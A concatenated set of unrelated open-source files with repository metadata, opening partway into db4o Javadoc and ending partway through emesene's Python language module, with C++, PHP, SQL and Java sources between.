<b>Snapshot</b> mode<br> <b>+</b> Index processing will happen without possible side effects from changes made by the caller or by other transaction.<br> <b>+</b> Since index processing is fast, a server will not be blocked for a long time.<br> <b>-</b> The entire candidate index will be loaded into memory. It will stay there until the query ObjectSet is garbage collected. In a C/S setup, the memory will be used on the server side.<br><br> <b>Lazy</b> mode<br> <b>+</b> The call to <A HREF="../../../com/db4o/query/Query.html#execute()"><CODE>Query.execute()</CODE></A> will return very fast. First results can be made available to the application before the query is fully processed.<br> <b>+</b> A query will consume hardly any memory at all because no intermediate ID representation is ever created.<br> <b>-</b> Lazy queries check candidates when iterating through the resulting <A HREF="../../../com/db4o/ObjectSet.html" title="interface in com.db4o"><CODE>ObjectSet</CODE></A>. In doing so the query processor takes changes into account that may have happened since the Query#execute()call: committed changes from other transactions, <b>and uncommitted changes from the calling transaction</b>. There is a wide range of possible side effects. The underlying index may have changed. Objects themselves may have changed in the meanwhile. There even is the chance of creating an endless loop, if the caller of the iterates through the <A HREF="../../../com/db4o/ObjectSet.html" title="interface in com.db4o"><CODE>ObjectSet</CODE></A> and changes each object in a way that it is placed at the end of the index: The same objects can be revisited over and over. <b>In lazy mode it can make sense to work in a way one would work with collections to avoid concurrent modification exceptions.</b> For instance one could iterate through the <A HREF="../../../com/db4o/ObjectSet.html" title="interface in com.db4o"><CODE>ObjectSet</CODE></A> first and store all objects to a temporary other collection representation before changing objects and storing them back to db4o.<br><br> Note: Some method calls against a lazy <A HREF="../../../com/db4o/ObjectSet.html" title="interface in com.db4o"><CODE>ObjectSet</CODE></A> will require the query processor to create a snapshot or to evaluate the query fully. An example of such a call is <A HREF="../../../com/db4o/ObjectSet.html#size()"><CODE>ObjectSet.size()</CODE></A>. <br><br> The default query evaluation mode is <b>Immediate</b> mode. <br><br> Recommendations:<br> - <b>Lazy</b> mode can be an excellent choice for single transaction read use, to keep memory consumption as low as possible.<br> - Client/Server applications with the risk of concurrent modifications should prefer <b>Snapshot</b> mode to avoid side effects from other transactions. <br><br> To change the evaluationMode, pass any of the three static <A HREF="../../../com/db4o/config/QueryEvaluationMode.html" title="class in com.db4o.config"><CODE>QueryEvaluationMode</CODE></A> constants from the <A HREF="../../../com/db4o/config/QueryEvaluationMode.html" title="class in com.db4o.config"><CODE>QueryEvaluationMode</CODE></A> class to this method:<br> - <A HREF="../../../com/db4o/config/QueryEvaluationMode.html#IMMEDIATE"><CODE>QueryEvaluationMode.IMMEDIATE</CODE></A><br> - <A HREF="../../../com/db4o/config/QueryEvaluationMode.html#SNAPSHOT"><CODE>QueryEvaluationMode.SNAPSHOT</CODE></A><br> - <A HREF="../../../com/db4o/config/QueryEvaluationMode.html#LAZY"><CODE>QueryEvaluationMode.LAZY</CODE></A><br><br> This setting must be issued from the client side. <P> <DD><DL> </DL> </DD> </DL> <HR> <A NAME="evaluationMode()"><!-- --></A><H3> evaluationMode</H3> <PRE> <A HREF="../../../com/db4o/config/QueryEvaluationMode.html" title="class in com.db4o.config">QueryEvaluationMode</A> <B>evaluationMode</B>()</PRE> <DL> <DD><DL> <DT><B>Returns:</B><DD>the currently configured query evaluation mode<DT><B>See Also:</B><DD><A HREF="../../../com/db4o/config/QueryConfiguration.html#evaluationMode(com.db4o.config.QueryEvaluationMode)"><CODE>evaluationMode(QueryEvaluationMode)</CODE></A></DL> </DD> </DL> <!-- ========= END OF CLASS DATA ========= --> <HR> <!-- ======= START OF BOTTOM NAVBAR ====== --> <A NAME="navbar_bottom"><!-- --></A> <A HREF="#skip-navbar_bottom" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_bottom_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> db4o 8.0</EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;<A HREF="../../../com/db4o/config/ObjectTranslator.html" title="interface in com.db4o.config"><B>PREV CLASS</B></A>&nbsp; &nbsp;<A HREF="../../../com/db4o/config/QueryEvaluationMode.html" title="class in com.db4o.config"><B>NEXT CLASS</B></A></FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../index.html?com/db4o/config/QueryConfiguration.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="QueryConfiguration.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> <TR> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY:&nbsp;NESTED&nbsp;|&nbsp;FIELD&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> DETAIL:&nbsp;FIELD&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_bottom"></A> <!-- ======== END OF BOTTOM NAVBAR ======= --> <HR> <i>Copyright 2009 Versant Corporation. All rights reserved.</i> </BODY> </HTML>
potty-dzmeia/db4o
doc/api/com/db4o/config/QueryConfiguration.html
HTML
gpl-3.0
15,443
// // <one line to give the program's name and a brief idea of what it does.> // Copyright (C) 2017. WenJin Yu. windpenguin@gmail.com. // // Created at 2017/11/17 17:42:13 // Version 1.0 // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // #include <WindUtil/IdMgr/IdMgr.h> #include <WindUtil/Log/Log.h> #include <iostream> using namespace std; void TestIdMgr(){ wind::util::IdMgr idMgr; for (int i = 0; i < 10; ++i) { EASY_LOG << "Alloc id: " << idMgr.AllocId(); } idMgr.RegisterId(100); for (int i = 0; i < 10; ++i) { EASY_LOG << "Alloc id: " << idMgr.AllocId(); } idMgr.Reset(0); for (int i = 0; i < 10; ++i) { EASY_LOG << "Alloc id: " << idMgr.AllocId(); } }
windpenguin/WindUtil
Src/TestWindUtil/TestIdMgr.cpp
C++
gpl-3.0
1,283
<?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateTableFellowProgress extends Migration { /** * Run the migrations. * * @return void */ public function up() { // Schema::create('fellow_progress', function (Blueprint $table) { $table->increments('id'); $table->integer('fellow_id'); $table->integer('program_id'); $table->integer('activity_id')->nullable(); $table->integer('module_id')->nullable(); $table->integer('session_id')->nullable(); $table->integer('status')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { // Schema::dropIfExists('fellow_progress'); } }
GobiernoFacil/agentes-v2
database/migrations/2018_05_03_131639_create_table_fellow_progress.php
PHP
gpl-3.0
922
#include <algorithm> #include <cstdio> #include <vector> using std::vector; using std::max; #define clean(arr, con, len) for (int i=0; i<len ; i++) arr[i] = con; #define iftdo(con, tdo, len) for (int i=1; i<=len; i++) if(con) {tdo;} const int MAXN = 5010; const int MAXM = 50010; typedef enum {DO, DOING, DID} status; struct EDGE {int f, t;} edgs[MAXM]; bool hadin[MAXN], hadout[MAXN]; vector<int> edge[MAXN], iedge[MAXN]; int n, m, ans=-1; char s[MAXN]; int in[MAXN], out[MAXN]; void dp() { for (int i=1; i<=n; i++) { for (int j=0; j<(int)iedge[i].size(); j++) { in[i] += in[iedge[i][j]]; } } for (int i=n; i; i--) { for (int j=0; j<(int)edge[i].size(); j++) { out[i] += out[edge[i][j]]; } } } int main() { freopen("1529.in" , "r", stdin ); freopen("1529.out", "w", stdout); scanf("%d %d", &n, &m); for (int i=0, a, b; i<m; i++) { scanf("%d %d", &a, &b); edge [a].push_back(b); iedge[b].push_back(a); hadin[b] = true; hadout[a] = true; edgs[i].f = a; edgs[i].t = b; } iftdo(!hadin[i] , in[i]=1 , n); iftdo(!hadout[i], out[i]=1, n); dp(); for (int i=0; i<m; i++) { ans = max(ans, in[edgs[i].f] * out[edgs[i].t]); } printf("%d\n", ans); return 0; }
YanWQ-monad/monad
Cpp/Exam-answer/smoj.nhedu.net/1529.cpp
C++
gpl-3.0
1,210
/* This file is a part of libcds - Concurrent Data Structures library (C) Copyright Maxim Khizhinsky (libcds.dev@gmail.com) 2006-2017 Source code repo: http://github.com/khizmax/libcds/ Download: http://sourceforge.net/projects/libcds/files/ Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "test_fcpqueue.h" #include <cds/container/fcpriority_queue.h> #include <deque> namespace cds_test { TEST_F( FCPQueue, deque ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_stat ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > ,cds::container::fcpqueue::make_traits< cds::opt::stat< cds::container::fcpqueue::stat<> > >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_stat_single_mutex_single_condvar ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > ,cds::container::fcpqueue::make_traits< cds::opt::stat< cds::container::fcpqueue::stat<> > , cds::opt::wait_strategy< cds::algo::flat_combining::wait_strategy::single_mutex_single_condvar<>> >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_empty_wait_strategy ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > ,cds::container::fcpqueue::make_traits< cds::opt::stat< cds::container::fcpqueue::stat<> > , cds::opt::wait_strategy< cds::algo::flat_combining::wait_strategy::empty > >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_single_mutex_multi_condvar ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > ,cds::container::fcpqueue::make_traits< cds::opt::stat< cds::container::fcpqueue::stat<> > , cds::opt::wait_strategy< cds::algo::flat_combining::wait_strategy::single_mutex_multi_condvar<2>> >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_mutex ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> > ,cds::container::fcpqueue::make_traits< cds::opt::lock_type< std::mutex > >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_multi_mutex_multi_condvar ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> > ,cds::container::fcpqueue::make_traits< cds::opt::lock_type< std::mutex > , cds::opt::wait_strategy< cds::algo::flat_combining::wait_strategy::multi_mutex_multi_condvar<1000>> >::type > pqueue_type; pqueue_type pq; test( pq ); } } // namespace cds_test
whc10002/study
libcds/test/unit/pqueue/fcpqueue_deque.cpp
C++
gpl-3.0
5,258
TRUNCATE pr_occtax.t_releves_occtax CASCADE; TRUNCATE gn_meta.t_datasets CASCADE; TRUNCATE gn_meta.t_acquisition_frameworks CASCADE; TRUNCATE gn_permissions.cor_role_action_filter_module_object CASCADE; TRUNCATE gn_synthese.synthese CASCADE; TRUNCATE utilisateurs.cor_role_app_profil CASCADE; TRUNCATE taxonomie.cor_taxon_attribut; -- set the serial of synthese to 0 SELECT pg_catalog.setval('gn_synthese.synthese_id_synthese_seq', 1, true); -- remove custom filters from gn_permissions.t_filters DELETE FROM gn_permissions.t_filters WHERE id_filter = 500; -- test register DELETE FROM utilisateurs.t_roles WHERE identifiant = 'hello_test'; DELETE FROM utilisateurs.temp_users WHERE identifiant = 'hello_test'; ---------------- -- GN_COMMONS -- ---------------- DELETE FROM gn_commons.t_mobile_apps;
PnX-SI/GeoNature
backend/tests/delete_sample_data.sql
SQL
gpl-3.0
814
<?php /* * * Purpose: Add support for external modules to extend Zabbix native functions * * Adail Horst - http://spinola.net.br/blog * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the Free Software * * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * */ // Global definitions ========================================================== require_once dirname(__FILE__) . '/include/config.inc.php'; /** * Base path to profiles on Zabbix Database */ $baseProfile = "everyz."; $page['title'] = _('EveryZ'); $page['file'] = 'everyz.php'; $filter = $fields = []; $TINYPAGE = true; switch (getRequest('format')) { case PAGE_TYPE_CSV: $page['file'] = 'everyz_export.csv'; $page['type'] = detect_page_type(PAGE_TYPE_CSV); break; case PAGE_TYPE_JSON: $page['file'] = 'everyz_export.json'; $page['type'] = detect_page_type(PAGE_TYPE_CSV); break; default: $page['type'] = detect_page_type(PAGE_TYPE_HTML); break; } $page['scripts'] = array('class.calendar.js', 'multiselect.js', 'gtlc.js'); require_once dirname(__FILE__) . '/include/page_header.php'; if ($page['type'] === detect_page_type(PAGE_TYPE_HTML)) { ?> <link href="local/app/everyz/css/everyz.css" rel="stylesheet" type="text/css" id="skinSheet"> <?php } $TINYPAGE = getRequest2("shorturl") !== ""; if ($TINYPAGE) { ?> <style type="text/css"> body { min-width: 100%; margin-bottom: 0px; } .filter-space, .filter-container, .filter-btn-container { display: none; } article, .article { padding: 0px 0px 0 0px; } </style> <?php } zbxeCheckDBConfig(); addFilterParameter("action", T_ZBX_STR, "dashboard", false, false, false); addFilterParameter("shorturl", T_ZBX_STR, '', false, false, false); zbxeTranslateURL(); /* ============================================================================= * Permissions ============================================================================== */ $config = select_config(); $action = getRequest2("action"); $module = "dashboard"; if (hasRequest('zbxe_reset_all') && getRequest2('zbxe_reset_all') == "EveryZ ReseT" && $action == "zbxe-config") { try { show_message(_zeT('EveryZ configuration back to default factory values! Please click on "EveryZ" menu!')); DBexecute(zbxeStandardDML("DROP TABLE `zbxe_preferences` ")); DBexecute(zbxeStandardDML("DROP TABLE `zbxe_translation` ")); DBexecute(zbxeStandardDML("DROP TABLE `zbxe_shorten` ")); DBexecute(zbxeStandardDML("DELETE FROM `profiles` where idx like 'everyz%' ")); $path = str_replace("local/app/views", "local/app/everyz/init", dirname(__FILE__)); if (!file_exists($path . '/everyz.initdb.php')) { $path = dirname(__FILE__) . '/local/app/everyz/init'; } require_once $path . '/everyz.initdb.php'; exit; } catch (Exception $e) { } } $res = DBselect('SELECT userid, tx_option, tx_value from zbxe_preferences zpre ' . ' WHERE userid in (0,' . CWebUser::$data['userid'] . ') ' . ' and tx_value like ' . quotestr($action . '|%') . ' order by userid, tx_option'); while ($row = DBfetch($res)) { $tmp = explode("|", $row['tx_value']); $module = $tmp[0]; } /* * *************************************************************************** * Access Control * ************************************************************************** */ if ($module == "dashboard") { zbxeCheckUserLevel(zbxeMenuUserType()); include_once dirname(__FILE__) . "/local/app/views/everyz.dashboard.view.php"; } else { zbxeCheckUserLevel((count($tmp) > 2 ? (int) $tmp[2] : 3)); $file = dirname(__FILE__) . "/local/app/views/everyz." . $module . ".view.php"; if (file_exists($file)) { include_once $file; } else { echo "Não existe o arquivo do modulo (" . $module . ")"; } } if (!$TINYPAGE) { echo "<!-- Everyz Version - " . EVERYZVERSION . " -->\n"; zbxeFullScreen(); require_once dirname(__FILE__) . '/include/page_footer.php'; }
SpawW/everyz
everyz.php
PHP
gpl-3.0
4,786
package biz.dealnote.messenger.crypt; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import androidx.annotation.IntDef; /** * Created by admin on 08.10.2016. * phoenix */ @IntDef({SessionState.INITIATOR_EMPTY, SessionState.NO_INITIATOR_EMPTY, SessionState.INITIATOR_STATE_1, SessionState.NO_INITIATOR_STATE_1, SessionState.INITIATOR_STATE_2, SessionState.INITIATOR_FINISHED, SessionState.NO_INITIATOR_FINISHED, SessionState.FAILED, SessionState.CLOSED}) @Retention(RetentionPolicy.SOURCE) public @interface SessionState { /** * Сессия не начата */ int INITIATOR_EMPTY = 1; /** * Сессия не начата */ int NO_INITIATOR_EMPTY = 2; /** * Начальный этап сессии обмена ключами * Я, как инициатор, отправил свой публичный ключ * и жду, пока мне в ответ отправят AES-ключ, зашифрованный этим публичным ключом */ int INITIATOR_STATE_1 = 3; /** * Получен запрос от инициатора на обмен ключами * В сообщении должен быть публичный ключ инициатора, * Я отправил ему AES-ключ, зашифрованный ЕГО публичным ключом. * В то же время я вложил в сообщение свой публичный ключ, * чтобы инициатор отправил в ответ свой AES-ключ */ int NO_INITIATOR_STATE_1 = 4; /** * Я - инициатор обмена * Получен AES-ключ от собеседника и его публичный ключ * Я в ответ отправил ему свой AES-ключ, зашифрованный его публичным ключом */ int INITIATOR_STATE_2 = 5; /** * Получен запрос от собеседника на успешное закрытие сессии обмена ключами * Собеседнику отправляем пустое сообщение как подтверждение успешного обмена */ int NO_INITIATOR_FINISHED = 6; /** * Отправляем подтверждение получение ключа и запрос на завершение сессии * Собеседнику отправляем пустое сообщение как подтверждение успешного обмена */ int INITIATOR_FINISHED = 7; int CLOSED = 8; int FAILED = 9; }
PhoenixDevTeam/Phoenix-for-VK
app/src/main/java/biz/dealnote/messenger/crypt/SessionState.java
Java
gpl-3.0
2,719
// Copyright (c) 2005 - 2020 Settlers Freaks (sf-team at siedler25.org) // // This file is part of Return To The Roots. // // Return To The Roots is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 2 of the License, or // (at your option) any later version. // // Return To The Roots is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Return To The Roots. If not, see <http://www.gnu.org/licenses/>. #pragma once #include "helpers/EnumArray.h" #include "gameTypes/BuildingType.h" #include "gameTypes/GoodTypes.h" #include <array> #include <tuple> // TODO: Make this structs so meanings are obvious /// 1 mapping of a required good to its building and default setting using DistributionMapping = std::tuple<GoodType, BuildingType, uint8_t>; /// List of all possible distribution mappings ordered by GoodType using DistributionMap = std::array<DistributionMapping, 23>; extern const DistributionMap distributionMap; /// List of the percentage a building should get from a specific ware using Distributions = std::array<uint8_t, std::tuple_size<DistributionMap>::value>; /// Ordering of building types by priority. All buildings in here except unused and HQ using BuildOrders = std::array<BuildingType, NUM_BUILDING_TYPES - NUM_UNUSED_BLD_TYPES - 1>; /// Mapping transport priority -> standard transport priority of ware(group): /// E.g. std prio of coins = 0 -> TransportOrders[0] = stdPrio[COINS] = 0 /// New prio of coins = 1 -> TransportOrders[1] = stdPrio[COINS] = 0 using TransportOrders = std::array<uint8_t, 14>; using TransportPriorities = helpers::EnumArray<uint8_t, GoodType>; /// Priority of each tool using ToolSettings = std::array<uint8_t, NUM_TOOLS>; /// Value of each military slider /// 0: Recruiting ratio (to max possible recruits) /// 1: Defender strength (ratio to max available rank) /// 2: Active defenders (engaging attackers by leaving building): Chance that one is sent /// 3: Ratio of used attackers to available attackers /// 4-7: Ratio of soldiers in buildings to full occupation for inland, middle region, harbor spots, border regions using MilitarySettings = std::array<uint8_t, 8>;
nE0sIghT/s25client
libs/s25main/gameTypes/SettingsTypes.h
C
gpl-3.0
2,504
'''Language module, allows the user to change the language on demand''' # -*- coding: utf-8 -*- # This file is part of emesene. # # emesene is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # emesene is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with emesene; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import os import gettext import locale import glob class Language(object): """ A class for language management """ NAME = 'Language' DESCRIPTION = 'Language management module' AUTHOR = 'Lucas F. Ottaviano (lfottaviano)' WEBSITE = 'www.emesene.org' LANGUAGES_DICT = {'af':'Afrikaans', 'ar':'\xd8\xa7\xd9\x84\xd8\xb9\xd8\xb1\xd8\xa8\xd9\x8a\xd8\xa9', 'ast':'Asturianu', 'az':'\xd8\xa2\xd8\xb0\xd8\xb1\xd8\xa8\xd8\xa7\xdb\x8c\xd8\xac\xd8\xa7\xd9\x86 \xd8\xaf\xdb\x8c\xd9\x84\xdb\x8c', 'bg':'\xd0\x91\xd1\x8a\xd0\xbb\xd0\xb3\xd0\xb0\xd1\x80\xd1\x81\xd0\xba\xd0\xb8 \xd0\xb5\xd0\xb7\xd0\xb8\xd0\xba', 'bn':'\xe0\xa6\xac\xe0\xa6\xbe\xe0\xa6\x82\xe0\xa6\xb2\xe0\xa6\xbe', 'bs':'\xd0\xb1\xd0\xbe\xd1\x81\xd0\xb0\xd0\xbd\xd1\x81\xd0\xba\xd0\xb8', 'ca':'Catal\xc3\xa0', 'cs':'\xc4\x8de\xc5\xa1tina', 'da':'Danish', 'de':'Deutsch', 'dv':'\xde\x8b\xde\xa8\xde\x88\xde\xac\xde\x80\xde\xa8', 'el':'\xce\x95\xce\xbb\xce\xbb\xce\xb7\xce\xbd\xce\xb9\xce\xba\xce\xac', 'en':'English', 'en_AU':'English (Australia)', 'en_CA':'English (Canada)', 'en_GB':'English (United Kingdom)', 'eo':'Esperanto', 'es':'Espa\xc3\xb1ol', 'et':'Eesti keel', 'eu':'Euskara', 'fi':'Suomi', 'fil':'Filipino', 'fo':'F\xc3\xb8royskt', 'fr':'Fran\xc3\xa7ais', 'ga':'Gaeilge', 'gl':'Galego', 'gv':'Gaelg', 'he':'\xd7\xa2\xd6\xb4\xd7\x91\xd6\xb0\xd7\xa8\xd6\xb4\xd7\x99\xd7\xaa', 'hr':'Hrvatski', 'hu':'Magyar', 'ia':'Interlingua', 'id':'Bahasa Indonesia', 'is':'\xc3\x8dslenska', 'it':'Italiano', 'ja':'\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e', 'kab':'Taqbaylit', 'kn':'Kanna\xe1\xb8\x8da', 'ko':'\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4/\xec\xa1\xb0\xec\x84\xa0\xeb\xa7\x90', 'ku':'\xda\xa9\xd9\x88\xd8\xb1\xd8\xaf\xdb\x8c', 'la':'Lat\xc4\xabna', 'lb':'L\xc3\xabtzebuergesch', 'lt':'Lietuvi\xc5\xb3', 'lv':'Latvie\xc5\xa1u valoda', 'mk':'\xd0\x9c\xd0\xb0\xd0\xba\xd0\xb5\xd0\xb4\xd0\xbe\xd0\xbd\xd1\x81\xd0\xba\xd0\xb8 \xd1\x98\xd0\xb0\xd0\xb7\xd0\xb8\xd0\xba', 'ms':'\xd8\xa8\xd9\x87\xd8\xa7\xd8\xb3 \xd9\x85\xd9\x84\xd8\xa7\xd9\x8a\xd9\x88', 'nan':'\xe9\x96\xa9\xe5\x8d\x97\xe8\xaa\x9e / \xe9\x97\xbd\xe5\x8d\x97\xe8\xaf\xad', 'nb':'Norwegian Bokm\xc3\xa5l', 'nds':'Plattd\xc3\xbc\xc3\xbctsch', 'nl':'Nederlands', 'nn':'Norwegian Nynorsk', 'oc':'Occitan (post 1500)', 'pl':'J\xc4\x99zyk Polski', 'pt':'Portugu\xc3\xaas', 'pt_BR':'Portugu\xc3\xaas Brasileiro', 'ro':'Rom\xc3\xa2n\xc4\x83', 'ru':'\xd1\x80\xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 \xd1\x8f\xd0\xb7\xd1\x8b\xd0\xba', 'sk':'Sloven\xc4\x8dina', 'sl':'Sloven\xc5\xa1\xc4\x8dina', 'sq':'Shqip', 'sr':'\xd1\x81\xd1\x80\xd0\xbf\xd1\x81\xd0\xba\xd0\xb8', 'sv':'Svenska', 'ta':'\xe0\xae\xa4\xe0\xae\xae\xe0\xae\xbf\xe0\xae\xb4\xe0\xaf\x8d', 'th':'\xe0\xb8\xa0\xe0\xb8\xb2\xe0\xb8\xa9\xe0\xb8\xb2\xe0\xb9\x84\xe0\xb8\x97\xe0\xb8\xa2', 'tr':'T\xc3\xbcrk\xc3\xa7e', 'uk':'\xd1\x83\xd0\xba\xd1\x80\xd0\xb0\xd1\x97\xcc\x81\xd0\xbd\xd1\x81\xd1\x8c\xd0\xba\xd0\xb0 \xd0\xbc\xd0\xbe\xcc\x81\xd0\xb2\xd0\xb0', 'vec':'V\xc3\xa8neto', 'zh_CN':'\xe7\xae\x80\xe4\xbd\x93\xe5\xad\x97', 'zh_HK':'\xe6\xb1\x89\xe8\xaf\xad/\xe6\xbc\xa2\xe8\xaa\x9e (\xe9\xa6\x99\xe6\xb8\xaf\xe4\xba\xba)', 'zh_TW':'\xe7\xb9\x81\xe9\xab\x94\xe4\xb8\xad\xe6\x96\x87'} def __init__(self): """ constructor """ self._languages = None self._default_locale = locale.getdefaultlocale()[0] self._lang = os.getenv('LANGUAGE') or self._default_locale self._locales_path = 'po/' if os.path.exists('po/') else None self._get_languages_list() def install_desired_translation(self, language): """ installs translation of the given @language @language, a string with the language code or None """ if language is not None: #if default_locale is something like es_UY or en_XX, strip the end #if it's not in LANGUAGES_DICT if language not in self.LANGUAGES_DICT.keys(): language = language.split("_")[0] self._lang = language os.putenv('LANGUAGE', language) # gettext.translation() receives a _list_ of languages, so make it a list. language = [language] #now it's a nice language in LANGUAGE_DICT or, if not, it's english or #some unsupported translation so we fall back to english in those cases translation = gettext.translation('emesene', localedir=self._locales_path, languages=language, fallback=True) if not isinstance(translation, gettext.GNUTranslations): self._lang = 'en' translation.install() def install_default_translation(self): """ installs a translation relative to system enviroment """ language = os.getenv('LANGUAGE') or self._default_locale self.install_desired_translation(language) # Getters def get_default_locale(self): """ returns default locale obtained assigned only on object instantiation from locale python module """ return self._default_locale def get_lang(self): """ returns the current language code that has been used for translation """ return self._lang def get_locales_path(self): """ returns the locales path """ return self._locales_path def get_available_languages(self): """ returns a list of available languages """ return self._get_languages_list() def _get_languages_list(self): """ fills languages list""" if self._languages is None: paths = glob.glob(os.path.join(self._locales_path, '*', 'LC_MESSAGES', 'emesene.mo')) self._languages = [path.split(os.path.sep)[-3] for path in paths] self._languages.append('en') self._languages.sort() return self._languages _instance = None def get_language_manager(): '''instance 